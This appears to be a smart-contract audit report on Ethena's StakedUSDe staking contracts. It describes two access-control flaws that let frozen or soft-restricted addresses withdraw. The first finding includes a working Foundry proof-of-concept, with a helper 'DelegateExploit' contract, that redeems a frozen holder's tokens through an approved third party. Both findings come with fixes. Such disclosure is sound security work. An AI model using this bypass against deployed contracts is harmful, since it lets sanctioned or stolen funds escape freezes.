Ethena Labs - Limbooo's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L232

Vulnerability details

Overview

The contract in question, StakedUSDe.sol, is designed to allow users to stake USDe tokens and earn yield. The contract incorporates a role-based restriction mechanism, notably, the FULL_RESTRICTED_STAKER_ROLE. Addresses assigned these roles face restrictions that prevent them from performing certain actions such as withdrawing staked tokens. However, an observation has been made that these restrictions might not be entirely foolproof.

According to the README##trusted-roles

FULL_RESTRICTED_STAKER_ROLE - address with this role can't burn his stUSDe tokens to unstake his USDe tokens, neither to transfer stUSDe tokens. His balance can be manipulated by the admin of StakedUSDe

The ERC4626 Standard's Implementation:

The ERC4626 standard introduces the mechanism of withdrawing and redeeming. Both of these functions revolve around converting shares to assets or vice versa. The core functionality of these functions is abstracted into the _withdraw function.

The significant line in the _withdraw function is:

lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L237-L239:

if (caller != owner) {
    _spendAllowance(owner, caller, shares);
}

This checks if the caller (one invoking the function) is different from the owner (whose shares are being converted). If they differ, it spends the allowance of the owner for the shares, thereby allowing a separate entity (the caller) to trigger a withdrawal or redemption on behalf of the owner.

The StakedUSDe Contract:

The StakedUSDe contract introduces additional restrictions through role-based access:

1. Burning Mechanism: In the _beforeTokenTransfer function, it's evident that:

if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
revert OperationNotAllowed();
}

This means that an address with FULL_RESTRICTED_STAKER_ROLE can burn its tokens (i.e., to == address(0) is true). This burning mechanism is leveraged by the redistributeLockedAmount function where the admin can burn the entirety of a fully restricted address’s balance.

2. Redistribution of Locked Amounts: As seen in the provided code:

function redistributeLockedAmount(address from, address to) external onlyRole(DEFAULT_ADMIN_ROLE) {
...
_burn(from, amountToDistribute);
...
}

The admin can initiate a burn from an address with the FULL_RESTRICTED_STAKER_ROLE, further reinforcing the intentional design of allowing burns from restricted addresses.

3. Role-based Restrictions in Withdrawal Function: The _withdraw function in StakedUSDe contract introduces this check:

function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
        revert OperationNotAllowed();
    }
    ...
}

This function is vital as it highlights that addresses with FULL_RESTRICTED_STAKER_ROLE cannot withdraw. The issue emerges from the ERC4626's _spendAllowance mechanism. An address with this role can allow another entity to execute actions on its behalf, effectively sidestepping these checks.

The StakedUSDeV2 Contract Implication:

The StakedUSDeV2 contract relies on StakedUSDe for implementing asset transfer restrictions. Notably, StakedUSDeV2 does not have its own set of restrictions for addresses. In functions like cooldownAssets and cooldownShares, there's a dependency on the _withdraw function, which utilizes _msgSender as the caller in the format: _withdraw(_msgSender(), address(silo), owner, assets, shares);.

As a consequence, the vulnerability present in the StakedUSDe contract directly impacts these methods in StakedUSDeV2, similar to how it affects the primary withdraw and redeem functions used in ERC4626.

Impact

Fully restricted stakeholders are intended to have limited control over their assets. This limitation acts as a safeguard, reducing potential risks, ensuring trust within the ecosystem, and facilitating administrative procedures. However, with the described exploit, these stakeholders can bypass these controls, enabling the free movement of their assets in direct violation of the system's design.

Furthermore, consider a scenario where assets in the StakedUSDe contract were previously acquired by an attacker through illicit means, such as another attack where they usurped assets that rightfully belonged to other users. Exploiting this vulnerability would render freezing mechanisms inoperative, amplifying the financial damages and causing more extensive losses for all StakedUSDe users.

It's noteworthy that this vulnerability not only jeopardizes the prevention of a high-risk scenario but can, in fact, lead to consequences more severe than those the system sought to prevent. As delineated in the README file:

FULL_RESTRCITED_STAKER_ROLE is intended for sanction/stolen funds, or in cases where there's a directive from law enforcement to freeze specific funds.

Given this context, the potential erosion of trust and platform reputation is profound. This can result in decreased adoption rates, further monetary losses, and could invite legal repercussions.

Proof of Concept

The vulnerability seems to stem from the way roles and permissions are handled, particularly concerning addresses with the FULL_RESTRICTED_STAKER_ROLE.

1. Approval and Spending of Tokens:

• In the basic ERC20 function, a user (owner) can approve another address (spender) to spend a certain amount of tokens on their behalf. This functionality is not explicitly restricted for addresses with the FULL_RESTRICTED_STAKER_ROLE.

2. Withdrawal Function:

• In the _withdraw function of the ERC4626 part, there is a distinction made between the caller and the owner. If the caller is not the owner, allowances are checked and spent using the _spendAllowance method. However, there is no explicit restriction here to prevent a fully restricted address from being the owner as long as the caller is different.

3. Transfer Restrictions:

• The StakedUSDe contract, which inherits both ERC4626 and ERC20, includes _beforeTokenTransfer function that restricts token transfers involving addresses with FULL_RESTRICTED_STAKER_ROLE. However, this restriction might not be comprehensive enough due to the allowance mechanism and the separate handling of caller and owner in the _withdraw function.

4. Redistribution of Locked Amount:

• There is a function redistributeLockedAmount that allows for the burning of tokens from a fully restricted address and optionally minting them to another address. This could be a pathway to bypass restrictions if not handled with utmost care.

Potential Exploit Scenario

An address with the FULL_RESTRICTED_STAKER_ROLE could potentially exploit the contract by approving another non-restricted address to spend their tokens. Since the _withdraw function makes a distinction between the caller and the owner, and the restrictions are primarily applied based on the caller’s role, a non-restricted address (caller) might execute a withdrawal on behalf of a fully restricted address (owner), hence bypassing the intended restrictions. Thus, the _beforeTokenTransfer wont prevent burning since it is used for redistributeLockedAmount function.

Coded Test Case (Foundry)

Instructions:

• Create a new file under the folder: test/foundry/staking/, with a good name like StakedUSDe.blacklistExploit.t.sol.

• Copy the below code block into the newly created file.

• Run the test with: forge test --match-contract StakedUSDeBlacklistExploitTest -vv

The test cases will fail if the fully restricted account is able to redeem

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDe.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";
import "../../../contracts/interfaces/ISingleAdminAccessControl.sol";

contract DelegateExploit {
  StakedUSDe public stakedUSDe;

  constructor(StakedUSDe _stakedUSDe) {
      stakedUSDe = _stakedUSDe;
  }

  function attemptRedeem(uint256 amount, address beneficiary) external {
      stakedUSDe.redeem(amount, address(this), beneficiary);
      IUSDe(stakedUSDe.asset()).transfer(beneficiary, amount);
  }
}

contract StakedUSDeBlacklistExploitTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDe public stakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;

  bytes32 FULL_RESTRICTED_STAKER_ROLE;

  DelegateExploit delegateExploit;

  function setUp() public virtual {

    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");

    delegateExploit = new DelegateExploit(stakedUSDe);

  }

  function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal {
    usdeToken.mint(staker, amount);

    vm.startPrank(staker);
    usdeToken.approve(address(stakedUSDe), amount);

    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    }
    stakedUSDe.deposit(amount, staker);

    vm.stopPrank();
  }

  function _redeem(address staker, uint256 amount, bool expectRevert) internal {
    vm.startPrank(staker);

    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    }

    stakedUSDe.redeem(amount, staker, staker);
    vm.stopPrank();
  }

  function test_fullBlacklist_approval_and_withdrawal_exploit() public {
    // Mint, approve and deposit tokens for Alice.
    _mintApproveDeposit(alice, _amount, false);

    // Alice is full blacklisted.
    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();

    // Assert that Alice can't redeem her tokens directly.
    _redeem(alice, _amount, true);

    // Now, Alice will try the potential vulnerability.
    // She approves Bob to spend her tokens.
    vm.prank(alice);
    stakedUSDe.approve(bob, _amount);

    uint256 aliceStakedUSDeBefore = stakedUSDe.balanceOf(alice);
    uint256 bobUSDeBefore = usdeToken.balanceOf(bob);

    // Bob initiates a redeem on behalf of Alice.
    vm.prank(bob);
    stakedUSDe.redeem(_amount, bob, alice);  // Using the possible vulnerability.

    uint256 aliceStakedUSDeAfter = stakedUSDe.balanceOf(alice);
    uint256 bobUSDeAfter = usdeToken.balanceOf(bob);

    // The expected behavior is that Alice can't redeem her tokens, even with Bob acting on her behalf.
    // However, if the exploit exists, Alice would still have her tokens redeemed.
    assertEq(aliceStakedUSDeBefore, aliceStakedUSDeAfter, "Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!");
    assertEq(bobUSDeBefore, bobUSDeAfter, "Exploit Success: Bob was able to redeem Alice tokens!");
  }

  function test_fullBlacklist_approval_and_delegate_contract_exploit() public {
    // Mint, approve and deposit tokens for Alice.
    _mintApproveDeposit(alice, _amount, false);

    // Alice is full blacklisted.
    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();

    // Assert that Alice can't redeem her tokens directly.
    _redeem(alice, _amount, true);

    // Now, Alice will interact with the DelegateExploit contract.
    vm.prank(alice);
    stakedUSDe.approve(address(delegateExploit), _amount);

    uint256 aliceStakedUSDeBefore = stakedUSDe.balanceOf(alice);
    uint256 aliceUSDeBefore = usdeToken.balanceOf(alice);

    // Use the exploit contract to try to redeem.
    delegateExploit.attemptRedeem(_amount, alice);

    uint256 aliceStakedUSDeAfter = stakedUSDe.balanceOf(alice);
    uint256 aliceUSDeAfter = usdeToken.balanceOf(alice);

    // The expected behavior is that Alice can't redeem her tokens, even using the delegate contract.
    assertEq(aliceStakedUSDeBefore, aliceStakedUSDeAfter, "Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!");
    assertEq(aliceUSDeBefore, aliceUSDeAfter, "Exploit Success: Alice was able to redeem tokens to his address using delegate contract despite FULL_RESTRICTED_STAKER_ROLE!");
  }

}

Expected Output:

❯ forge test --match-contract StakedUSDeBlacklistExploitTest -vv
[⠆] Compiling...
No files changed, compilation skipped

Running 2 tests for test/foundry/staking/StakedUSDe.blacklistExploit.t.sol:StakedUSDeBlacklistExploitTest
[FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_delegate_contract_exploit() (gas: 284572)
Logs:
  Error: Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!
  Error: a == b not satisfied [uint]
        Left: 100000000000000000000
       Right: 0
  Error: Exploit Success: Alice was able to redeem tokens to his address using delegate contract despite FULL_RESTRICTED_STAKER_ROLE!
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 100000000000000000000

[FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_withdrawal_exploit() (gas: 260905)
Logs:
  Error: Exploit Success: Alice was able to redeem tokens despite FULL_RESTRICTED_STAKER_ROLE!
  Error: a == b not satisfied [uint]
        Left: 100000000000000000000
       Right: 0
  Error: Exploit Success: Bob was able to redeem Alice tokens!
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 100000000000000000000

Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 8.14ms
Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests)

Failing tests:
Encountered 2 failing tests in test/foundry/staking/StakedUSDe.blacklistExploit.t.sol:StakedUSDeBlacklistExploitTest
[FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_delegate_contract_exploit() (gas: 284572)
[FAIL. Reason: Assertion failed.] test_fullBlacklist_approval_and_withdrawal_exploit() (gas: 260905)

Encountered a total of 2 failing tests, 0 tests succeeded

Tools Used

• Manual review.
• Foundry for test, and current project test.

Recommended Mitigation

Enhance the _withdraw Function: consider Incorporate checks to see if the owner (whose tokens are impacted) has the FULL_RESTRICTED_STAKER_ROLE and stop operations, even if the caller and owner differ:

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
-   if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
+   if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) 
+       || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner)
+       || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238

Vulnerability details

Description

The README file states the following regarding SOFT_RESTRICTED_STAKER_ROLE:

Due to legal requirements, there's a SOFT_RESTRICTED_STAKER_ROLE and FULL_RESTRICTED_STAKER_ROLE. The former is for addresses based in countries we are not allowed to provide yield to, for example, the USA. Addresses under this category will be soft restricted. They cannot deposit USDe to get stUSDe or withdraw stUSDe for USDe. However, they can participate in earning yield by buying and selling stUSDe on the open market.

Upon inspecting the _withdraw function in the contract, it appears there is no check for SOFT_RESTRICTED_STAKER_ROLE when attempting a withdrawal. The check only encompasses FULL_RESTRICTED_STAKER_ROLE.

Code Reference contracts/StakedUSDe.sol#L225-L238:

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }

    super._withdraw(caller, receiver, _owner, assets, shares);
    _checkMinShares();
  }

Impact

This omission could lead to non-compliant actions. Addresses marked with SOFT_RESTRICTED_STAKER_ROLE are, in essence, not prevented from withdrawing, even though the documentation states otherwise. This can result in potential legal and regulatory violations, putting the platform at risk of facing sanctions, fines, or other penalties.

Proof of Concept

A test case highlighting the oversight is present in the repository itself, located at:

• test/foundry/staking/StakedUSDe.blacklist.t.sol#L133-L142

It seems the original test was designed with the intent of ensuring the redeem function should revert for soft-blacklisted users. However, this intent seems to have been mistakenly inverted. The function _redeem(alice, _amount, false); is called where the false flag indicates that a revert is not expected, contrary to what the README states should happen.

To showcase the vulnerability, the flag can be switched to true, implying that a revert is expected. Here's how the test should look to align with the intended behavior:

  function test_softBlacklist_withdraw_pass() public {
    _mintApproveDeposit(alice, _amount, false);

    // Alice gets soft blacklisted
    vm.startPrank(owner);
    stakedUSDe.grantRole(SOFT_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();

    // Attempting to redeem should cause a revert due to the soft blacklist
    _redeem(alice, _amount, true); // The 'true' flag here expects the operation to revert
  }

This test illustrates that a soft-blacklisted user (Alice, in this case) is not prevented from withdrawing, despite the platform's documented intent.

Tools Used

• Manual review.
• Foundery test, and current project test

Recommended Mitigation

Consider Implementing a check for SOFT_RESTRICTED_STAKER_ROLE within the _withdraw function, ensuring that addresses with this role are not permitted to withdraw. Align the smart contract's logic with the stipulated requirements in the README to maintain compliance and mitigate legal risks.

    if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, _owner)) {
      revert OperationNotAllowed();
    }

if the caller and receiver addresses are targeted for this matter, consider adding the check for them.

Assessed type

Access Control